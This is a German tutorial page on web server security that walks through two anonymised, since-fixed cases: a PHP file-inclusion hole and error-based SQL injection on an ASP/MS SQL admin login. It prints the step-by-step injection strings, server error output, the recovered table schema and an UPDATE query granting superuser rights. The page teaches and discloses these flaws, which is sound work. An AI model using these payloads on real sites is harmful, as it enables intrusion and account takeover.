gulli» Netzwelt » Webmaster » Sicherheit von Webservern»  Seite 4

Die Sicherheit von Webservern

IV. Sicherheitslücken am praktischen Beispiel

Um ein Haus vor Einbruch zu schützen, benutzt man Türen und sichert sie mit einem Schloss. Doch die besten Vorkehrungen können nicht schützen, wenn man vergisst, die Tür zu schließen. Ebenso nützt eine verschlossene Tür nichts, wenn das Schloss nur mit 2 kleinen Schrauben lose befestigt ist.

Auf zwei zufällig ausgewählten Seiten sind genau diese beiden Fehler aufgetreten, die mit dem Wissen aus dem vorangegangenem Kapitel vermeidbar wären.

Egal, wie interessant das "hacken" von Webseiten sein kann, an dieser Stelle muss auf das StGB § 202a (Ausspähung von Daten), § 303b (Computersabotage) und weitere hingewiesen werden: "... Wer Datenverarbeitungsanlagen oder Datenträger zerstört, beschädigt, unbrauchbar macht, beseitigt oder verändert, wird mit einer Freiheitsstrafe bis zu fünf Jahren oder mit Geldstrafe bestraft. ..."
Analog dazu entspricht es nicht der "Hackerethik", das Web als Spielplatz für Vandalismus und selbstgefällige Auftritte zu missbrauchen. ( http://www.ccc.de/hackerethics )

Aus Gründen des Datenschutzes wurden die entsprechenden Beispiele in Hinblick auf den Urheber unkenntlich gemacht. Die Verantwortlichen wurden auf die Sicherheitslöcher hingewiesen und haben diese anschließend behoben.

 

 

4.1. Beispiel 1 - "Never trust the web!"

Traue niemals dem Web! (Never trust the web!) Unter diesem Grundsatz wurden im Zuge der Recherchen einige Seiten oberflächlich auf ihre Sicherheit überprüft.

Auf einer Homepage hatte man die Navigation in folgender Form realisiert:
"http://beispiel.de/index.php?content=tutorials"Für jede neue Seite existierte für die Variable "content" ein eigener Wert.

Gab man "test" als Wert für "content" ein, entstand eine Fehlermeldung:

 

Warning: Failed opening 'test.php' for inclusion (include_path='.:/usr/local/lib/php') in /home/beispielde/public_html/index.php on line 40

 

Diese Auskunft ist leicht zu deuten. Der PHP-Interpreter warnte hier, dass er die Datei "test.php" nicht gefunden hat und sie deshalb nicht einfügen bzw. nicht ausführen konnte. Die Variable $content wurde hier nicht auf ihre Gültigkeit geprüft. Der entsprechende Befehl der Zeile 40 lautete somit:

 

include($content .".php");

 

PHP bietet die Möglichkeit, Internetadressen wie Dateien zu behandeln. (Kapitel 3.1.2)
Unter Berücksichtigung dieser Eigenschaft bestand die Möglichkeit, durch eine externe Datei fremde Inhalte einzufügen:

 

<?php echo("<h1>Never trust the web!/<h1>") ?>

Beliebige Befehle konnten somit auf dem Webserver ausgeführt werden, solange sie nicht über die Rechte des PHP-Interpreters hinausgingen. Eine Modifikation der externen Datei zeigt den exakten Inhalt des verwundbaren Scriptes an:

 

39 40 include($content.".php");
41 ?>

 

Wie erwartet, wurde hier der elementare Fehler begangen, auf den unbedenklichen Inhalt einer Variablen zu vertrauen.

Zusätzlich war die Konfiguration des Webservers lückenhaft. Der PHP-Interpreter hatte das Recht, das Verzeichnis von "beispiel.de" zu verlassen und ermöglichte es einem Eindringling, sich durch fast alle Verzeichnisse des Computers zu bewegen.

Diese Maschine war nicht wie ein üblicher Großrechner durch Verfahren wie suEXEC geschützt. Doch im Verzeichnis "/home" und "/home2" befanden sich insgesamt 1374 Verzeichnisse von Internetpräsenzen! Der Webserver gehörte einer ganzen Serverfarm an - mit der eigenen Nummer 73.

Damit PHP sich mit seiner Datenbank verbinden kann, müssen die Zugangsdaten zwangsweise in einem lesbaren Format abgespeichert werden. Informationen wie Kreditkartennummern, Adressen und E-Mailadressen sind dadurch einsehbar. Durch diese falsche Konfiguration des Webserver hätte ein Cracker komplette Kontrolle über diese 1374 Internetpräsenzen.

Leichtsinnigerweise hatte der Administrator dieselben Zugangsdaten für weitere Dienste genutzt, wie der FTP und SSH- Login, welcher jedem Kunden zustand!

Nicht nur, dass ein Standardbenutzer derart viele Rechte besaß, die ziemlich veraltete Suse Linux Installation hätte man definitiv mit einem Exploit knacken können, um endgültig administratorische Rechte (root) genießen zu können!!

4.2. Beispiel 2 - Zugang für jedermann

Wie im Kapitel 3.1.5 beschrieben, sind besonders ASP Seiten zusammen mit dem MS SQL Serverdurch SQL Injektionen gefährdet. Ein besonders sensibler Punkt sindpasswortgeschützte Bereiche.

Ein einfacher Anführungsstrich in einem durch Zufall gefundenen Formular brachte folgende Fehlermeldung:

 

Microsoft OLE DB Provider for SQL Server error '80040e14'
Unclosed quotation mark before the character string '''.
/admin/Login.asp, line 166

 

Diese Meldung zeigt an, dass die Möglichkeit von SQL Injektionenbesteht. Für einen erfolgreichen Einbruch muss man zuerst die Strukturder Abfrage kennen. Hierzu kann man entsprechende Fehlermeldungen desSQL Servers wie folgt provozieren:

Die Eingabe von ' having 1=1 -- führte zu folgender Fehlermeldung:

Column 'User_Information.User_InformationID' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.

Es wurde die Tabelle "User_Information" benutzt, um den Login zuverifizieren. Die erste Spalte dieser Tabelle hieß "User_InformationID".

Die Eingabe von ' group by User_Information.User_InformationID having 1=1 -- ergab:

 

Column 'User_Information.User_ID' is invalid in the select
list because it is not contained in either an aggregate function or the GROUP BY clause.

 

Die zweite Spalte hieß demnach "User_ID". Die Eingabe von

 

' group by User_Information.User_InformationID, User_Information.User_ID having 1=1 --

 

ergab die nächste Spalte usw.

Dieses wurde mehrfach ausgeführt, bis die Meldung "Cannot group by a bit column." erschien.

 

Wichtig ist zusätzlich der Typ einer jeden Spalte. Hierzu kann man die
Funktion "sum" (Summieren) missbrauchen. Der SQL Server prüft zuerst, ob die entsprechende Felder überhaupt summierbar sind. Nur wenn dieses möglich ist, erhält man eine Fehlermeldung, wonach die Anzahl der Felder nicht stimmt.

 

' union select sum(User_InformationID) from User_Information --

 

führte zu

 

All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists.

 

"User_InformationID" muss somit ein numerischer Datentypen sein.

 

' union select sum(FullName) from User_Information --

 

führte zu

 

The sum or average aggregate operation cannot take a nvarchar data type as an argument.

 

"FullName" ist demnach eine Zeichenkette.

Vaorg.dbo.User_Information
User_InformationID	int
User_ID	nvarchar
Password	nvarchar
FullName	nvarchar
Last_Name	nvarchar
First_Name	nvarchar
Company	nvarchar
Address1	nvarchar
Address2	nvarchar
City	nvarchar
State	nvarchar
ZipCode	int
Email	nvarchar
Phone	nvarchar
Fax	nvarchar
SuperUser	bit
LastModified	smalldatetime
ModifierID	nvarchar
Active	bit
msrepl_synctran_ts	timestamp

Mit diesen Angaben hätte ein Angreifer bereits Einträge in dieDatenbanktabelle machen können. Um eventuelle Fehleingaben zu umgehen,wurde für dieses Beispiel ein zusätzlicher Weg gewählt.
Das System bot jedem Besucher die Möglichkeit an, einen eigenen Account zu erstellen:

Allerdings hatte dieser Account so gut wie keine Rechte, was wünschenswerter Weise geändert werden musste.
Die zuvor herausgefundene Spalte "SuperUser" war besonders auffällig. Da es nur 2 Werte für einen binären Datentyp gibt, nämlich 0 für"falsch" und 1 für "wahr", musste dieses Query funktionieren:

 

' UPDATE User_Information SET SuperUser='1' WHERE User_ID='j0j02' --

 

Ein erneutes Einloggen zeigte den erwünschten Erfolg. Einem Benutzer mit SuperUser Rechten standen eine Vielzahl von Optionen offen, um das Erscheinungsbild der gesamten Webseite zu verändern.

normaler User:

Superuser:

Unter "Modify User Account" konnte man alle persönlichen Angaben einsehen. Felder, wie "First Name", beeinflussten dabei keine kritische Funktion im System. In diese Felder hätte man alle Rückmeldungen von Datenbankabfragen lenken können.
Die anfängliche Abhängigkeit, über Fehlermeldungen Informationen zu gewinnen, war somit aufgehoben. Ohne "blind" zu arbeiten stand die gesamte Datenbank jetzt unter fremder Kontrolle.